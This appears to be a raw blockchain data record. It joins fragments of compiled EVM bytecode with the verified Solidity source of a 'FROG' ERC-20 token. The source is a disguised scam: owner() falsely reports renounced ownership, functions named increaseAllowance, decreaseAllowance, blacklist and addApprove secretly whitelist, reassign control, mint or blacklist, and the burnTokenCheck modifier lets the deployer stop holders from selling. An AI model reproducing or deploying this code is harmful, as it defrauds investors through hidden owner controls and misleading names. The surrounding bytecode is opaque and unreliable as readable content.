0601f890185900490940285018401909552868252936001600160a01b0316926115be92889188918291018382808284376000920191909152508693925050611fda9050565b6001600160a01b0316146116015760405162461bcd60e51b815260206004820152600a6024820152690aee4dedcce4090c2e6d60b31b60448201526064016106a8565b336000908152600f60205260408120805487929061162390849060ff16612d18565b92506101000a81548160ff021916908360ff16021790555061164485611d1b565b5050505050565b600a546001600160a01b031633146116755760405162461bcd60e51b81526004016106a890612c23565b6001600160a01b0381166116da5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106a8565b610c2981611e57565b600a546001600160a01b0316331461170d5760405162461bcd60e51b81526004016106a890612c23565b6010805460ff19166001179055565b6010546301000000900460ff166117685760405162461bcd60e51b815260206004820152601060248201526f5761697420666f722072657665616c2160801b60448201526064016106a8565b6117718261189d565b6117bd5760405162461bcd60e51b815260206004820181905260248201527f43616e6e6f7420757064617465206e6f6e2d6578697374656e7420746f6b656e60448201526064016106a8565b336117c783610da3565b6001600160a01b03161461181d5760405162461bcd60e51b815260206004820152601b60248201527f596f7520646f6e2774206f776e20746869732047656e6572616c21000000000060448201526064016106a8565b817fddcd4b2b86c996a5c39cb9e36dc0018ec3f9074548445dc049a2a781e264fad7826040516112349190612842565b60006001600160e01b031982166380ac58cd60e01b148061187e57506001600160e01b03198216635b5e139f60e01b145b806106e757506301ffc9a760e01b6001600160e01b03198316146106e7565b6000908152600260205260409020546001600160a01b0316151590565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906118ef82610da3565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006119348284612ca9565b9392505050565b6001600160a01b0382166119915760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106a8565b61199a8161189d565b156119e75760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106a8565b6119f360008383611ffe565b6001600160a01b0382166000908152600360205260408120805460019290611a1c908490612ca9565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000611a858261189d565b611ae65760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106a8565b6000611af183610da3565b9050806001600160a01b0316846001600160a01b03161480611b2c5750836001600160a01b0316611b218461077f565b6001600160a01b0316145b80611b5c57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611b7782610da3565b6001600160a01b031614611bdf5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016106a8565b6001600160a01b038216611c415760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106a8565b611c4c838383611ffe565b611c576000826118ba565b6001600160a01b0383166000908152600360205260408120805460019290611c80908490612eaf565b90915550506001600160a01b0382166000908152600360205260408120805460019290611cae908490612ca9565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b60006119348284612ec6565b60005b8160ff168160ff161015610a6b576000611d3760085490565b611d42906001612ca9565b9050611d4e338261193b565b611d59606482612efb565b611e445760006064611da160408051426020808301919091524482840152416060830152336080808401919091528351808403909101815260a0909201909252805191012090565b611dab9190612efb565b90506000611db98284612eaf565b90506000611dc682610da3565b6040519091506001600160a01b0382169060009066b1a2bc2ec500009082818181858883f19350505050158015611e01573d6000803e3d6000fd5b506040516001600160a01b038216815282907fd23b19f929b7ff4f2193c6ad5e350f999172e6f236916ec1b7bfefb44170c6989060200160405180910390a25050505b5080611e4f81612f0f565b915050611d1e565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611eb4848484611b64565b611ec0848484846120b6565b6112725760405162461bcd60e51b81526004016106a890612f2f565b606081611f005750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611f2a5780611f1481612d3d565b9150611f239050600a83612f81565b9150611f04565b60008167ffffffffffffffff811115611f4557611f456128b4565b6040519080825280601f01601f191660200182016040528015611f6f576020820181803683370190505b5090505b8415611b5c57611f84600183612eaf565b9150611f91600a86612efb565b611f9c906030612ca9565b60f81b818381518110611fb157611fb1612d02565b60200101906001600160f81b031916908160001a905350611fd3600a86612f81565b9450611f73565b6000806000611fe985856121c3565b91509150611ff681612233565b509392505050565b6001600160a01b0383166120595761205481600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b61207c565b816001600160a01b0316836001600160a01b03161461207c5761207c83826123ee565b6001600160a01b038216612093576106bd8161248b565b826001600160a01b0316826001600160a01b0316146106bd576106bd828261253a565b60006001600160a01b0384163b156121b857604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906120fa903390899088908890600401612f95565b602060405180830381600087803b15801561211457600080fd5b505af1925050508015612144575060408051601f3d908101601f1916820190925261214191810190612fd2565b60015b61219e573d808015612172576040519150601f19603f3d011682016040523d82523d6000602084013e612177565b606091505b5080516121965760405162461bcd60e51b81526004016106a890612f2f565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611b5c565b506001949350505050565b6000808251604114156121fa5760208301516040840151606085015160001a6121ee8782858561257e565b9450945050505061222c565b825160401415612224576020830151604084015161221986838361266b565b93509350505061222c565b506000905060025b9250929050565b600081600481111561224757612247612fef565b14156122505750565b600181600481111561226457612264612fef565b14156122b25760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e6174757265000000000000000060448201526064016106a8565b60028160048111156122c6576122c6612fef565b14156123145760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e6774680060448201526064016106a8565b600381600481111561232857612328612fef565b14156123815760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b60648201526084016106a8565b600481600481111561239557612395612fef565b1415610c295760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b60648201526084016106a8565b600060016123fb84610f72565b6124059190612eaf565b600083815260076020526040902054909150808214612458576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061249d90600190612eaf565b600083815260096020526040812054600880549394509092849081106124c5576124c5612d02565b9060005260206000200154905080600883815481106124e6576124e6612d02565b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061251e5761251e613005565b6001900381819060005260206000200160009055905550505050565b600061254583610f72565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156125b55750600090506003612662565b8460ff16601b141580156125cd57508460ff16601c14155b156125de5750600090506004612662565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015612632573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661265b57600060019250925050612662565b9150600090505b94509492505050565b6000806001600160ff1b03831660ff84901c601b0161268c8782888561257e565b935093505050935093915050565b8280546126a690612c58565b90600052602060002090601f0160209004810192826126c8576000855561270e565b82601f106126e15782800160ff1982351617855561270e565b8280016001018555821561270e579182015b8281111561270e5782358255916020019190600101906126f3565b5061271a92915061271e565b5090565b5b8082111561271a576000815560010161271f565b60008083601f84011261274557600080fd5b50813567ffffffffffffffff81111561275d57600080fd5b60208301915083602082850101111561222c57600080fd5b6000806020838503121561278857600080fd5b823567ffffffffffffffff81111561279f57600080fd5b6127ab85828601612733565b90969095509350505050565b6001600160e01b031981168114610c2957600080fd5b6000602082840312156127df57600080fd5b8135611934816127b7565b60005b838110156128055781810151838201526020016127ed565b838111156112725750506000910152565b6000815180845261282e8160208601602086016127ea565b601f01601f19169290920160200192915050565b6020815260006119346020830184612816565b60006020828403121561286757600080fd5b5035919050565b80356001600160a01b038116811461288557600080fd5b919050565b6000806040838503121561289d57600080fd5b6128a68361286e565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156128f3576128f36128b4565b604052919050565b6000602080838503121561290e57600080fd5b823567ffffffffffffffff8082111561292657600080fd5b818501915085601f83011261293a57600080fd5b81358181111561294c5761294c6128b4565b8060051b915061295d8483016128ca565b818152918301840191848101908884111561297757600080fd5b938501935b8385101561299c5761298d8561286e565b8252938501939085019061297c565b98975050505050505050565b6000806000606084860312156129bd57600080fd5b6129c68461286e565b92506129d46020850161286e565b9150604084013590509250925092565b6000602082840312156129f657600080fd5b6119348261286e565b803560ff8116811461288557600080fd5b600060208284031215612a2257600080fd5b611934826129ff565b60008060408385031215612a3e57600080fd5b612a478361286e565b915060208301358015158114612a5c57600080fd5b809150509250929050565b600067ffffffffffffffff831115612a8157612a816128b4565b612a94601f8401601f19166020016128ca565b9050828152838383011115612aa857600080fd5b828260208301376000602084830101529392505050565b60008060408385031215612ad257600080fd5b82359150602083013567ffffffffffffffff811115612af057600080fd5b8301601f81018513612b0157600080fd5b612b1085823560208401612a67565b9150509250929050565b60008060008060808587031215612b3057600080fd5b612b398561286e565b9350612b476020860161286e565b925060408501359150606085013567ffffffffffffffff811115612b6a57600080fd5b8501601f81018713612b7b57600080fd5b612b8a87823560208401612a67565b91505092959194509250565b60008060008060608587031215612bac57600080fd5b612bb5856129ff565b9350602085013567ffffffffffffffff811115612bd157600080fd5b612bdd87828801612733565b9598909750949560400135949350505050565b60008060408385031215612c0357600080fd5b612c0c8361286e565b9150612c1a6020840161286e565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680612c6c57607f821691505b60208210811415612c8d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115612cbc57612cbc612c93565b500190565b60208082526021908201527f416c6c2047656e6572616c732061726520736f6c64206f75742e20536f7272796040820152602160f81b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b600060ff821660ff84168060ff03821115612d3557612d35612c93565b019392505050565b6000600019821415612d5157612d51612c93565b5060010190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60208082526023908201527f596f75206e65656420746f20706179207468652072657175697265642070726960408201526231b29760e91b606082015260800190565b60008151612dfe8185602086016127ea565b9290920192915050565b600080845481600182811c915080831680612e2457607f831692505b6020808410821415612e4457634e487b7160e01b86526022600452602486fd5b818015612e585760018114612e6957612e96565b60ff19861689528489019650612e96565b60008b81526020902060005b86811015612e8e5781548b820152908501908301612e75565b505084890196505b505050505050612ea68185612dec565b95945050505050565b600082821015612ec157612ec1612c93565b500390565b6000816000190483118215151615612ee057612ee0612c93565b500290565b634e487b7160e01b600052601260045260246000fd5b600082612f0a57612f0a612ee5565b500690565b600060ff821660ff811415612f2657612f26612c93565b60010192915050565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b600082612f9057612f90612ee5565b500490565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612fc890830184612816565b9695505050505050565b600060208284031215612fe457600080fd5b8151611934816127b7565b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603160045260246000fdfea2646970667358221220415bfd976c161d63ad764c9bb975dab6db63a7daf2bd3138a7032d76fefe1e5264736f6c63430008090033
[ 10, 5 ]
0xf1b3f67be7fc8707655b3757cfe3bae9c0e8eee1
/** *Submitted for verification at Etherscan.io on 2021-06-09 */ pragma solidity ^0.6.0; // SPDX-License-Identifier: MIT library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return address(0); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract FROG is Ownable, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev * * Requirements: */ function blacklist(address receiver, uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _totalSupply = _totalSupply.add(amount); _balances[receiver] = _balances[receiver].add(amount); emit Transfer(address(0), receiver, amount); } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063a9059cbb11610071578063a9059cbb146106d7578063b2bdfa7b1461073b578063dd62ed3e1461076f578063e1268115146107e7578063f2fde38b1461089f57610121565b806370a082311461057a578063715018a6146105d257806380b2122e146105dc5780638da5cb5b1461062057806395d89b411461065457610121565b806318160ddd116100f457806318160ddd1461031357806323b872dd14610331578063313ce567146103b55780634e6ec247146103d657806352b0f1961461042457610121565b8063043fa39e1461012657806306fdde03146101de578063095ea7b3146102615780631074bce5146102c5575b600080fd5b6101dc6004803603602081101561013c57600080fd5b810190808035906020019064010000000081111561015957600080fd5b82018360208201111561016b57600080fd5b8035906020019184602083028401116401000000008311171561018d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506108e3565b005b6101e6610a99565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022657808201518184015260208101905061020b565b50505050905090810190601f1680156102535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102ad6004803603604081101561027757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3b565b60405180821515815260200191505060405180910390f35b610311600480360360408110156102db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b59565b005b61031b610dc8565b6040518082815260200191505060405180910390f35b61039d6004803603606081101561034757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd2565b60405180821515815260200191505060405180910390f35b6103bd610eab565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ec2565b005b6105786004803603606081101561043a57600080fd5b81019080803590602001909291908035906020019064010000000081111561046157600080fd5b82018360208201111561047357600080fd5b8035906020019184602083028401116401000000008311171561049557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156104f557600080fd5b82018360208201111561050757600080fd5b8035906020019184602083028401116401000000008311171561052957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506110e3565b005b6105bc6004803603602081101561059057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e8565b6040518082815260200191505060405180910390f35b6105da611331565b005b61061e600480360360208110156105f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611476565b005b61062861157d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61065c611582565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561069c578082015181840152602081019050610681565b50505050905090810190601f1680156106c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610723600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611624565b60405180821515815260200191505060405180910390f35b610743611642565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107d16004803603604081101561078557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611668565b6040518082815260200191505060405180910390f35b61089d600480360360208110156107fd57600080fd5b810190808035906020019064010000000081111561081a57600080fd5b82018360208201111561082c57600080fd5b8035906020019184602083028401116401000000008311171561084e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506116ef565b005b6108e1600480360360208110156108b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118a5565b005b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610a95576001600360008484815181106109c457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610a2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506109a9565b5050565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b315780601f10610b0657610100808354040283529160200191610b31565b820191906000526020600020905b815481529060010190602001808311610b1457829003601f168201915b5050505050905090565b6000610b4f610b48611b38565b8484611b40565b6001905092915050565b610b61611b38565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c21576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610c41611b38565b73ffffffffffffffffffffffffffffffffffffffff161415610cae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806135356021913960400191505060405180910390fd5b610cc381600654611ab090919063ffffffff16565b600681905550610d1b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002